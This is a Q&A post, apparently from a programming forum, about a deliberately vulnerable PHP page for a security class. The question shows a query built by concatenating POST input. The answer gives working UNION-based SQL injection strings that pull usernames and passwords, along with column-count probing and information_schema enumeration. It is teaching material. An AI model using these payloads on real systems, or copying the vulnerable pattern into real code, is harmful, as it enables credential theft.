SQL Injection for My PHP Site

2019-08-08 14:30发布

问题:

I am designing a site for a network security class that is intended to be vulnerable to SQL injection. My query is with php and looks like this

$sql = "SELECT * FROM blogposts WHERE name= '" . $_POST["blogname"] . "'";

It is querying a post from the table blogposts. I am using mysql_fetch_array to print it so it should still print out results regardless of the column name.

However, in my database I have another table called users that has usernames and passwords. That I would like the query to return.

Could someone point me in the right direction? And if I can't print the other table, what could I do instead?

回答1:

You would inject

' OR '1'='1' UNION SELECT Username, Password FROM users;--

Which would make the query

SELECT * FROM blogposts WHERE name= '' OR '1'='1' UNION SELECT Username, Password FROM users;--'

Which would combine the results from the original altered query, with the results from the users table.

However, you first need to make sure the number of columns you are selecting from users matches the original query. To do this you would first make some test queries such as:

     ' OR '1'='1' UNION SELECT 1 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2,3 FROM users;--

until your query returns without error. Then you know you have the correct number of columns. If say you have 5 columns, your injected query for the users table becomes

' OR '1'='1' UNION SELECT Username, Password, 3,4,5 FROM users;--

If the names of the users table and columns are unknown, then you can union select with the information-schema database to find these out, or you could use brute force (e.g. try selecting username, uname, name, email, etc, until you get a result).